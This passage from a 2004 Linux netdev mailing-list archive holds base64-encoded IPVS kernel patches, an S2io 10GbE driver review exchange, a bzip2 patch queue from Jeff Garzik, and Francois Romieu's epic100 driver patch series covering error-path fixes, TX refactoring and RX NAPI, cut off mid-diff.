c292IDxqYUBzc2kuYmc+IHByb3ZpZGVkIHRoZSBwYXRjaC4NCiMgDQojIC0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoj DQpkaWZmIC1OcnUgYS9uZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jIGIvbmV0 L2lwdjQvaXB2cy9pcF92c19jdGwuYw0KLS0tIGEvbmV0L2lwdjQvaXB2cy9p cF92c19jdGwuYwlNb24gTWFyIDIyIDIzOjEwOjQ3IDIwMDQNCisrKyBiL25l dC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMJTW9uIE1hciAyMiAyMzoxMDo0NyAy MDA0DQpAQCAtODg5LDggKzg4OSwxNSBAQA0KIA0KIAlfX2lwX3ZzX3VwZGF0 ZV9kZXN0KHN2YywgZGVzdCwgdXIpOw0KIA0KKwl3cml0ZV9sb2NrX2JoKCZf X2lwX3ZzX3N2Y19sb2NrKTsNCisNCisJLyogV2FpdCB1bnRpbCBhbGwgb3Ro ZXIgc3ZjIHVzZXJzIGdvIGF3YXkgKi8NCisJd2hpbGUgKGF0b21pY19yZWFk KCZzdmMtPnVzZWNudCkgPiAxKSB7fTsNCisNCiAJLyogY2FsbCB0aGUgdXBk YXRlX3NlcnZpY2UsIGJlY2F1c2Ugc2VydmVyIHdlaWdodCBtYXkgYmUgY2hh bmdlZCAqLw0KIAlzdmMtPnNjaGVkdWxlci0+dXBkYXRlX3NlcnZpY2Uoc3Zj KTsNCisNCisJd3JpdGVfdW5sb2NrX2JoKCZfX2lwX3ZzX3N2Y19sb2NrKTsN CiANCiAJTGVhdmVGdW5jdGlvbigyKTsNCiANCg== ---1463811584-515257213-1079974718=:6711 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.6-ipvs-unhash.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: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biB0ZW1w bGF0ZQ0KIAkJICovDQotCQlpcF92c19jb25uX3VuaGFzaChjdCk7DQotCQlj dC0+ZHBvcnQgPSA2NTUzNTsNCi0JCWN0LT52cG9ydCA9IDY1NTM1Ow0KLQkJ Y3QtPmNwb3J0ID0gMDsNCi0JCWlwX3ZzX2Nvbm5faGFzaChjdCk7DQorCQlp ZiAoY3QtPmNwb3J0KSB7DQorCQkJaWYgKGlwX3ZzX2Nvbm5fdW5oYXNoKGN0 KSkgew0KKwkJCQljdC0+ZHBvcnQgPSA2NTUzNTsNCisJCQkJY3QtPnZwb3J0 ID0gNjU1MzU7DQorCQkJCWN0LT5jcG9ydCA9IDA7DQorCQkJCWlwX3ZzX2Nv bm5faGFzaChjdCk7DQorCQkJfQ0KKwkJfQ0KIA0KIAkJLyoNCiAJCSAqIFNp bXBseSBkZWNyZWFzZSB0aGUgcmVmY250IG9mIHRoZSB0ZW1wbGF0ZSwNCkBA IC00OTMsNyArNTA0LDggQEANCiAJLyoNCiAJICoJdW5oYXNoIGl0IGlmIGl0 IGlzIGhhc2hlZCBpbiB0aGUgY29ubiB0YWJsZQ0KIAkgKi8NCi0JaXBfdnNf Y29ubl91bmhhc2goY3ApOw0KKwlpZiAoIWlwX3ZzX2Nvbm5fdW5oYXNoKGNw KSkNCisJCWdvdG8gZXhwaXJlX2xhdGVyOw0KIA0KIAkvKg0KIAkgKglyZWZj bnQ9PTEgaW1wbGllcyBJJ20gdGhlIG9ubHkgb25lIHJlZmVycmVyDQo= ---1463811584-515257213-1079974718=:6711 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.6-ipvs-updsvc.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.6-ipvs-updsvc.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl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wuYwlUdWUgTWFyIDIzIDAwOjU3OjU4IDIwMDQN CkBAIC04OTgsOCArODk4LDE1IEBADQogDQogCV9faXBfdnNfdXBkYXRlX2Rl c3Qoc3ZjLCBkZXN0LCB1ZGVzdCk7DQogDQorCXdyaXRlX2xvY2tfYmgoJl9f aXBfdnNfc3ZjX2xvY2spOw0KKw0KKwkvKiBXYWl0IHVudGlsIGFsbCBvdGhl ciBzdmMgdXNlcnMgZ28gYXdheSAqLw0KKwl3aGlsZSAoYXRvbWljX3JlYWQo JnN2Yy0+dXNlY250KSA+IDEpIHt9Ow0KKw0KIAkvKiBjYWxsIHRoZSB1cGRh dGVfc2VydmljZSwgYmVjYXVzZSBzZXJ2ZXIgd2VpZ2h0IG1heSBiZSBjaGFu Z2VkICovDQogCXN2Yy0+c2NoZWR1bGVyLT51cGRhdGVfc2VydmljZShzdmMp Ow0KKw0KKwl3cml0ZV91bmxvY2tfYmgoJl9faXBfdnNfc3ZjX2xvY2spOw0K IA0KIAlMZWF2ZUZ1bmN0aW9uKDIpOw0KIA0K ---1463811584-515257213-1079974718=:6711-- From ravinandan.arakali@s2io.com Mon Mar 22 11:36:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 11:36:08 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MJa3KO008866 for ; Mon, 22 Mar 2004 11:36:04 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i2MJZtjF016659; Mon, 22 Mar 2004 14:35:56 -0500 (EST) Received: from DDXZYJ21 ([10.16.16.116]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i2MJZmUg019776; Mon, 22 Mar 2004 14:35:48 -0500 (EST) From: "ravinandan arakali" To: "'Jeff Garzik'" , "'Leonid Grossman'" Cc: , , , "'Huy Phan'" Subject: RE: Submission #4 for S2io 10GbE driver Date: Mon, 22 Mar 2004 11:36:18 -0800 Message-ID: <003b01c41044$f3b06220$7410100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <405C1656.8080004@pobox.com> Importance: Normal X-Scanned-By: MIMEDefang 2.34 X-archive-position: 4183 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ravinandan.arakali@s2io.com Precedence: bulk X-list: netdev Content-Length: 918 Lines: 33 Hi Jeff, Thanks for the patch cleanup. Can you pls send us the final copy of s2ioDriver.patch file that you applied to the 2.6 kernel ? Regards, Ravi -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Saturday, March 20, 2004 2:01 AM To: Leonid Grossman Cc: netdev@oss.sgi.com; 'ravinandan arakali'; raghavendra.koushik@s2io.com Subject: Re: Submission #4 for S2io 10GbE driver Jeff Garzik wrote: > ===== drivers/net/s2io.h 1.1 vs 1.2 ===== > --- 1.1/drivers/net/s2io.h Sat Mar 20 04:38:16 2004 > +++ 1.2/drivers/net/s2io.h Sat Mar 20 04:47:53 2004 > @@ -14,8 +14,8 @@ > #define _S2IO_H > > #define TBD 0 > -#define BIT(loc) (((u64)0x8000000000000000ULL) >> loc) > -#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) > +#define BIT(loc) (1ULL << (loc)) > +#define vBIT(val, loc, sz) (((u64)val) << (64-loc-sz)) and here is a patch correcting an incorrect cleanup... From jgarzik@pobox.com Mon Mar 22 13:31:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 13:31:40 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MLVVKO017735 for ; Mon, 22 Mar 2004 13:31:32 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B5VLD-0008Mu-6R; Mon, 22 Mar 2004 19:44:07 +0000 Message-ID: <405F41FA.5040006@pobox.com> Date: Mon, 22 Mar 2004 14:43:54 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ravinandan arakali CC: "'Leonid Grossman'" , netdev@oss.sgi.com, raghavendra.koushik@s2io.com, alicia.pena@s2io.com, "'Huy Phan'" Subject: Re: Submission #4 for S2io 10GbE driver References: <003b01c41044$f3b06220$7410100a@S2IOtech.com> In-Reply-To: <003b01c41044$f3b06220$7410100a@S2IOtech.com> Content-Type: multipart/mixed; boundary="------------030306010809000609080201" X-archive-position: 4184 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 52478 Lines: 736 This is a multi-part message in MIME format. --------------030306010809000609080201 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Attached is a patch representing my current net-drivers-2.6 queue, diff'd against 2.6.5-rc2. It will go to Andrew/Linus after 2.6.5 is released, since it was received after 2.6.5-bk went into release candidate status. Jeff --------------030306010809000609080201 Content-Type: application/x-bzip2; name="patch.bz2" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="patch.bz2" QlpoOTFBWSZTWaZDl9sA4tb/gH///8D//////////7////9g0NuF7DoNVIcG1AACx93t3o3e dQuvRxClSUCgnlj7u+3PKXvn33z6++95M9971UO++xS7r521c88tvfBfffcDOwA9U60+++7k AUB3277OTr0ffZU62WgDesHStPrp1pSg+jKqACe87Q9H0+AC9jFfRr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tX+goXdtHBT32BoJMUQUh9MPL2jeCth1MAoQfRKZAKQJ/R+Lbp1uzMTtZ7t4byog Kf52RBH8GwidWcuZVM0NMRUz3CcnG28Go08IETG+O9am7D8SRDX40dM7qnAoLxpKwTo9CwcM WpiQhYgilqqqAKGSJIKICpkxQJAyLw47VFsO5oM4ACKtm4lXPIOUnKnQM6aqhYmwkWoJGEGi ihooiYigiKKIiKSAisswsQYlwIDDRhkRERRRUWOI4E0VFVVFFFFJ38HSZh3E0SQ7QIoqpFqo qhiGihoYgoKkkqkqmIM4pzXBg0RsaMHlM2SS20PDdHhnQngGnETsmFPYLg2XJVROGf1gNhQU 0I7PnfolYFMbFv2pNxej1cHHz8Hfl55rSxUlo/PhCTACd5BGDIA0oOiYZASbNIsE2rTLaasq qs0lC8CwZkI481xhrTrTbaPoZcLJRFhh2Ko3qTai9sOl2bKcQ5RhcfEnBs6cwkGbLQwF0IhD mkzpRwHZDpW2E97wNPIyEICaDgOGhFgB0OqK8zvwJIC+wjml5VVX1KRADEUTDUgHmASiT/nK gUoef4tHQH55HWBDgPz5yW8a40n1Qq/kEh46ICnaokBiIkIqZIIX/Jg4qyFfWKH0FiHv70Dj Iv/4u5IpwoSFMhy+2A== --------------030306010809000609080201-- From romieu@fr.zoreil.com Mon Mar 22 15:53:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 15:53:15 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MNr8KO025317 for ; Mon, 22 Mar 2004 15:53:11 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2MNqIgf001930; Tue, 23 Mar 2004 00:52:18 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2MNqIbT001929; Tue, 23 Mar 2004 00:52:18 +0100 Date: Tue, 23 Mar 2004 00:52:18 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 2/4] 2.6.5-rc2 - epic100 napi Message-ID: <20040323005218.C1715@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <20040323005021.A1715@electric-eye.fr.zoreil.com> <20040323005114.B1715@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040323005114.B1715@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, Mar 23, 2004 at 12:51:14AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4186 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 5417 Lines: 170 Isolate the classical TX part of epic_interrupt. Innocent code shuffling. drivers/net/epic100.c | 137 +++++++++++++++++++++++++++----------------------- 1 files changed, 76 insertions(+), 61 deletions(-) diff -puN drivers/net/epic100.c~epic100-napi-00 drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-00 2004-03-22 22:53:18.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-22 22:53:18.000000000 +0100 @@ -1045,6 +1045,79 @@ static int epic_start_xmit(struct sk_buf return 0; } +static void epic_tx_error(struct net_device *dev, struct epic_private *ep, + int status) +{ + struct net_device_stats *stats = &ep->stats; + +#ifndef final_version + /* There was an major error, log it. */ + if (debug > 1) + printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", + dev->name, status); +#endif + stats->tx_errors++; + if (status & 0x1050) + stats->tx_aborted_errors++; + if (status & 0x0008) + stats->tx_carrier_errors++; + if (status & 0x0040) + stats->tx_window_errors++; + if (status & 0x0010) + stats->tx_fifo_errors++; +} + +static void epic_tx(struct net_device *dev, struct epic_private *ep) +{ + unsigned int dirty_tx, cur_tx; + + /* + * Note: if this lock becomes a problem we can narrow the locked + * region at the cost of occasionally grabbing the lock more times. + */ + spin_lock(&ep->lock); + cur_tx = ep->cur_tx; + for (dirty_tx = ep->dirty_tx; cur_tx - dirty_tx > 0; dirty_tx++) { + struct sk_buff *skb; + int entry = dirty_tx % TX_RING_SIZE; + int txstatus = le32_to_cpu(ep->tx_ring[entry].txstatus); + + if (txstatus & DescOwn) + break; /* It still hasn't been Txed */ + + if (likely(txstatus & 0x0001)) { + ep->stats.collisions += (txstatus >> 8) & 15; + ep->stats.tx_packets++; + ep->stats.tx_bytes += ep->tx_skbuff[entry]->len; + } else + epic_tx_error(dev, ep, txstatus); + + /* Free the original skb. */ + skb = ep->tx_skbuff[entry]; + pci_unmap_single(ep->pci_dev, ep->tx_ring[entry].bufaddr, + skb->len, PCI_DMA_TODEVICE); + dev_kfree_skb_irq(skb); + ep->tx_skbuff[entry] = 0; + } + +#ifndef final_version + if (cur_tx - dirty_tx > TX_RING_SIZE) { + printk(KERN_WARNING + "%s: Out-of-sync dirty pointer, %d vs. %d, full=%d.\n", + dev->name, dirty_tx, cur_tx, ep->tx_full); + dirty_tx += TX_RING_SIZE; + } +#endif + ep->dirty_tx = dirty_tx; + if (ep->tx_full && cur_tx - dirty_tx < TX_QUEUE_LEN - 4) { + /* The ring is no longer full, allow new TX entries. */ + ep->tx_full = 0; + netif_wake_queue(dev); + } + spin_unlock(&ep->lock); +} + + /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ static irqreturn_t epic_interrupt(int irq, void *dev_instance, struct pt_regs *regs) @@ -1072,66 +1145,8 @@ static irqreturn_t epic_interrupt(int ir if (status & (RxDone | RxStarted | RxEarlyWarn | RxOverflow)) epic_rx(dev); - if (status & (TxEmpty | TxDone)) { - unsigned int dirty_tx, cur_tx; - - /* Note: if this lock becomes a problem we can narrow the locked - region at the cost of occasionally grabbing the lock more - times. */ - spin_lock(&ep->lock); - cur_tx = ep->cur_tx; - dirty_tx = ep->dirty_tx; - for (; cur_tx - dirty_tx > 0; dirty_tx++) { - struct sk_buff *skb; - int entry = dirty_tx % TX_RING_SIZE; - int txstatus = le32_to_cpu(ep->tx_ring[entry].txstatus); - - if (txstatus & DescOwn) - break; /* It still hasn't been Txed */ - - if ( ! (txstatus & 0x0001)) { - /* There was an major error, log it. */ -#ifndef final_version - if (debug > 1) - printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", - dev->name, txstatus); -#endif - ep->stats.tx_errors++; - if (txstatus & 0x1050) ep->stats.tx_aborted_errors++; - if (txstatus & 0x0008) ep->stats.tx_carrier_errors++; - if (txstatus & 0x0040) ep->stats.tx_window_errors++; - if (txstatus & 0x0010) ep->stats.tx_fifo_errors++; - } else { - ep->stats.collisions += (txstatus >> 8) & 15; - ep->stats.tx_packets++; - ep->stats.tx_bytes += ep->tx_skbuff[entry]->len; - } - - /* Free the original skb. */ - skb = ep->tx_skbuff[entry]; - pci_unmap_single(ep->pci_dev, ep->tx_ring[entry].bufaddr, - skb->len, PCI_DMA_TODEVICE); - dev_kfree_skb_irq(skb); - ep->tx_skbuff[entry] = 0; - } - -#ifndef final_version - if (cur_tx - dirty_tx > TX_RING_SIZE) { - printk(KERN_WARNING "%s: Out-of-sync dirty pointer, %d vs. %d, full=%d.\n", - dev->name, dirty_tx, cur_tx, ep->tx_full); - dirty_tx += TX_RING_SIZE; - } -#endif - ep->dirty_tx = dirty_tx; - if (ep->tx_full - && cur_tx - dirty_tx < TX_QUEUE_LEN - 4) { - /* The ring is no longer full, allow new TX entries. */ - ep->tx_full = 0; - spin_unlock(&ep->lock); - netif_wake_queue(dev); - } else - spin_unlock(&ep->lock); - } + if (status & (TxEmpty | TxDone)) + epic_tx(dev, ep); /* Check uncommon events all at once. */ if (status & (CntFull | TxUnderrun | RxOverflow | RxFull | @@ -1149,7 +1164,7 @@ static irqreturn_t epic_interrupt(int ir /* Restart the transmit process. */ outl(RestartTx, ioaddr + COMMAND); } - if (status & RxOverflow) { /* Missed a Rx frame. */ + if (status & RxOverflow) { /* Missed a Rx frame. */ ep->stats.rx_errors++; } if (status & (RxOverflow | RxFull)) _ From romieu@fr.zoreil.com Mon Mar 22 15:53:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 15:53:16 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MNr8KO025316 for ; Mon, 22 Mar 2004 15:53:09 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2MNoMgf001921; Tue, 23 Mar 2004 00:50:22 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2MNoMIm001920; Tue, 23 Mar 2004 00:50:22 +0100 Date: Tue, 23 Mar 2004 00:50:21 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 0/4] 2.6.5-rc2 - epic100 update Message-ID: <20040323005021.A1715@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040320152109.A31118@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 20, 2004 at 03:21:09PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4187 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 409 Lines: 16 Schedule: - epic100-fixup.patch: opportunistic cleanup - epic100-napi-00.patch: code shuffling before the move - epic100-napi-10.patch: rx napi (includes netif_running change) - epic100-napi-20.patch: minimalistic tx napi 2.6.5-rc2 and 2.6.5-rc2-mm1 contain the same drivers/net/epic100.c so the patches should apply equally to both. The driver has been moderately tested. Feedback welcome. -- Ueimor From romieu@fr.zoreil.com Mon Mar 22 15:53:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 15:53:14 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MNr8KO025315 for ; Mon, 22 Mar 2004 15:53:09 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2MNpEgf001926; Tue, 23 Mar 2004 00:51:14 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2MNpEOo001925; Tue, 23 Mar 2004 00:51:14 +0100 Date: Tue, 23 Mar 2004 00:51:14 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 1/4] 2.6.5-rc2 - epic100 fixup Message-ID: <20040323005114.B1715@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <20040323005021.A1715@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040323005021.A1715@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, Mar 23, 2004 at 12:50:21AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4185 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 4290 Lines: 159 - extra pci_disable_device() to balance invocation of pci_enable_device() in epic_init_one() (-> error path + epic_remove_one()); - lazy return status in epic_init_one(), tsss...; - memory dedicated to Rx descriptors was not freed after failure of register_netdev() in epic_init_one(); - use of epic_pause() in epic_close() offers a small window for a late interruption just before the final free_irq(). Let's close the window to avoid two epic_rx() threads racing with each other. drivers/net/epic100.c | 59 +++++++++++++++++++++++++++++++++----------------- 1 files changed, 40 insertions(+), 19 deletions(-) diff -puN drivers/net/epic100.c~epic100-fixup drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-fixup 2004-03-22 22:53:16.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-22 22:53:16.000000000 +0100 @@ -378,7 +378,7 @@ static int __devinit epic_init_one (stru int irq; struct net_device *dev; struct epic_private *ep; - int i, option = 0, duplex = 0; + int i, ret, option = 0, duplex = 0; void *ring_space; dma_addr_t ring_dma; @@ -392,29 +392,33 @@ static int __devinit epic_init_one (stru card_idx++; - i = pci_enable_device(pdev); - if (i) - return i; + ret = pci_enable_device(pdev); + if (ret) + goto out; irq = pdev->irq; if (pci_resource_len(pdev, 0) < pci_id_tbl[chip_idx].io_size) { printk (KERN_ERR "card %d: no PCI region space\n", card_idx); - return -ENODEV; + ret = -ENODEV; + goto err_out_disable; } pci_set_master(pdev); + ret = pci_request_regions(pdev, DRV_NAME); + if (ret < 0) + goto err_out_disable; + + ret = -ENOMEM; + dev = alloc_etherdev(sizeof (*ep)); if (!dev) { printk (KERN_ERR "card %d: no memory for eth device\n", card_idx); - return -ENOMEM; + goto err_out_free_res; } SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); - if (pci_request_regions(pdev, DRV_NAME)) - goto err_out_free_netdev; - #ifdef USE_IO_OPS ioaddr = pci_resource_start (pdev, 0); #else @@ -422,7 +426,7 @@ static int __devinit epic_init_one (stru ioaddr = (long) ioremap (ioaddr, pci_resource_len (pdev, 1)); if (!ioaddr) { printk (KERN_ERR DRV_NAME " %d: ioremap failed\n", card_idx); - goto err_out_free_res; + goto err_out_free_netdev; } #endif @@ -544,9 +548,9 @@ static int __devinit epic_init_one (stru dev->watchdog_timeo = TX_TIMEOUT; dev->tx_timeout = &epic_tx_timeout; - i = register_netdev(dev); - if (i) - goto err_out_unmap_tx; + ret = register_netdev(dev); + if (ret < 0) + goto err_out_unmap_rx; printk(KERN_INFO "%s: %s at %#lx, IRQ %d, ", dev->name, pci_id_tbl[chip_idx].name, ioaddr, dev->irq); @@ -554,19 +558,24 @@ static int __devinit epic_init_one (stru printk("%2.2x:", dev->dev_addr[i]); printk("%2.2x.\n", dev->dev_addr[i]); - return 0; +out: + return ret; +err_out_unmap_rx: + pci_free_consistent(pdev, RX_TOTAL_SIZE, ep->rx_ring, ep->rx_ring_dma); err_out_unmap_tx: pci_free_consistent(pdev, TX_TOTAL_SIZE, ep->tx_ring, ep->tx_ring_dma); err_out_iounmap: #ifndef USE_IO_OPS iounmap(ioaddr); -err_out_free_res: -#endif - pci_release_regions(pdev); err_out_free_netdev: +#endif free_netdev(dev); - return -ENODEV; +err_out_free_res: + pci_release_regions(pdev); +err_out_disable: + pci_disable_device(pdev); + goto out; } /* Serial EEPROM section. */ @@ -592,6 +601,13 @@ err_out_free_netdev: #define EE_READ256_CMD (6 << 8) #define EE_ERASE_CMD (7 << 6) +static void epic_disable_int(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + outl(0x00000000, ioaddr + INTMASK); +} + static int __devinit read_eeprom(long ioaddr, int location) { int i; @@ -1276,9 +1292,13 @@ static int epic_close(struct net_device dev->name, (int)inl(ioaddr + INTSTAT)); del_timer_sync(&ep->timer); - epic_pause(dev); + + epic_disable_int(dev, ep); + free_irq(dev->irq, dev); + epic_pause(dev); + /* Free all the skbuffs in the Rx queue. */ for (i = 0; i < RX_RING_SIZE; i++) { skb = ep->rx_skbuff[i]; @@ -1476,6 +1496,7 @@ static void __devexit epic_remove_one (s #endif pci_release_regions(pdev); free_netdev(dev); + pci_disable_device(pdev); pci_set_drvdata(pdev, NULL); /* pci_power_off(pdev, -1); */ } _ From romieu@fr.zoreil.com Mon Mar 22 15:57:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 22 Mar 2004 15:57:14 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2MNv8KO026296 for ; Mon, 22 Mar 2004 15:57:09 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2MNrCgf001952; Tue, 23 Mar 2004 00:53:12 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2MNrCEl001951; Tue, 23 Mar 2004 00:53:12 +0100 Date: Tue, 23 Mar 2004 00:53:12 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 3/4] 2.6.5-rc2 - epic100 napi Message-ID: <20040323005312.D1715@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <20040323005021.A1715@electric-eye.fr.zoreil.com> <20040323005114.B1715@electric-eye.fr.zoreil.com> <20040323005218.C1715@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040323005218.C1715@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, Mar 23, 2004 at 12:52:18AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4189 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 9495 Lines: 290 RX NAPI. drivers/net/epic100.c | 137 ++++++++++++++++++++++++++++++++++++++++++-------- 1 files changed, 116 insertions(+), 21 deletions(-) diff -puN drivers/net/epic100.c~epic100-napi-10 drivers/net/epic100.c --- linux-2.6.5-rc2/drivers/net/epic100.c~epic100-napi-10 2004-03-22 22:53:19.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/epic100.c 2004-03-23 00:18:33.000000000 +0100 @@ -98,7 +98,7 @@ static int rx_copybreak; There are no ill effects from too-large receive rings. */ #define TX_RING_SIZE 16 #define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ -#define RX_RING_SIZE 32 +#define RX_RING_SIZE 256 #define TX_TOTAL_SIZE TX_RING_SIZE*sizeof(struct epic_tx_desc) #define RX_TOTAL_SIZE RX_RING_SIZE*sizeof(struct epic_rx_desc) @@ -292,6 +292,11 @@ enum CommandBits { StopTxDMA=0x20, StopRxDMA=0x40, RestartTx=0x80, }; +#define EpicRemoved 0xffffffff /* Chip failed or removed (CardBus) */ + +#define EpicNapiEvent (RxDone | RxStarted | RxEarlyWarn | RxOverflow | RxFull) +#define EpicNormalEvent (0x0000ffff & ~EpicNapiEvent) + static u16 media2miictl[16] = { 0, 0x0C00, 0x0C00, 0x2000, 0x0100, 0x2100, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; @@ -330,9 +335,11 @@ struct epic_private { /* Ring pointers. */ spinlock_t lock; /* Group with Tx control cache line. */ + spinlock_t napi_lock; unsigned int cur_tx, dirty_tx; unsigned int cur_rx, dirty_rx; + u32 irq_mask; unsigned int rx_buf_sz; /* Based on MTU+slack. */ struct pci_dev *pci_dev; /* PCI bus location. */ @@ -359,7 +366,8 @@ static void epic_timer(unsigned long dat static void epic_tx_timeout(struct net_device *dev); static void epic_init_ring(struct net_device *dev); static int 